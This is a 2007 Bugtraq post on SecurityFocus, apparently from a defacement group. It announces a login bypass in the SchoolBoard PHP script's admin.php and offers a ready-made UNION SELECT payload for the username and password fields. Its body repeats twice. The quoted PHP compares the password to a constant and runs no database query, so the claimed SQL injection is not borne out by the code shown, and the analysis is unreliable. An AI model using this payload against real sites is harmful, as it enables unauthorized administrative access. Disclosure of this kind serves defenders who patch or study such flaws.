Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
Back to list
|
Post reply
SchoolBoard (admin.php) Remote Login Bypass SQL Injection Vulnerability
May 03 2007 01:13PM
ilkerkandemir mynet com
# Remote Login Bypass SQL Injection Vulnerability (admin.php)
#
# AYYILDIZ.ORG Presents.
# SchoolBoard [ http://free-php-scripts.net/download.php?id=120 ]
# author : iLker Kandemir < ilkerkandemir <at> mynet.com >
# Tnx : h0tturk,ekin0x,Dr.Max Virus,Gencnesil,Gencturk,Ajann
# Vulnerable; /admin.php
-------------------------------------------------//If login in
if($_POST['password'] != NULL){ <<<---------------------[+] //do all this:
if($_POST['password'] == $ADMIN_PASS){
$_SESSION['is_admin'] = $ADMIN_PASS;
} else {
$message = 'Invalid Access';
}
}
//Check password
if($_SESSION['is_admin'] != $ADMIN_PASS){$_GET['page'] = 'login';}
if($_GET['page'] == NULL){$_GET['page'] = $_POST['page'];}
if($_GET['page'] != 'Add' && $_GET['page'] != 'login'){ <<<-------------------[+] // but the user/pass don't match
-------------------------------------------------
username : 1/**/union/**/select/**/1,2,3,4/*
password : 1/**/union/**/select/**/1,2,3,4/* (ADMIN_PASS)
Panel: /admin.php logged.
[ reply ]
Privacy Statement
Copyright 2008, SecurityFocus
#
# AYYILDIZ.ORG Presents.
# SchoolBoard [ http://free-php-scripts.net/download.php?id=120 ]
# author : iLker Kandemir < ilkerkandemir <at> mynet.com >
# Tnx : h0tturk,ekin0x,Dr.Max Virus,Gencnesil,Gencturk,Ajann
# Vulnerable; /admin.php
-------------------------------------------------//If login in
if($_POST['password'] != NULL){ <<<---------------------[+] //do all this:
if($_POST['password'] == $ADMIN_PASS){
$_SESSION['is_admin'] = $ADMIN_PASS;
} else {
$message = 'Invalid Access';
}
}
//Check password
if($_SESSION['is_admin'] != $ADMIN_PASS){$_GET['page'] = 'login';}
if($_GET['page'] == NULL){$_GET['page'] = $_POST['page'];}
if($_GET['page'] != 'Add' && $_GET['page'] != 'login'){ <<<-------------------[+] // but the user/pass don't match
-------------------------------------------------
username : 1/**/union/**/select/**/1,2,3,4/*
password : 1/**/union/**/select/**/1,2,3,4/* (ADMIN_PASS)
Panel: /admin.php logged.
[ reply ]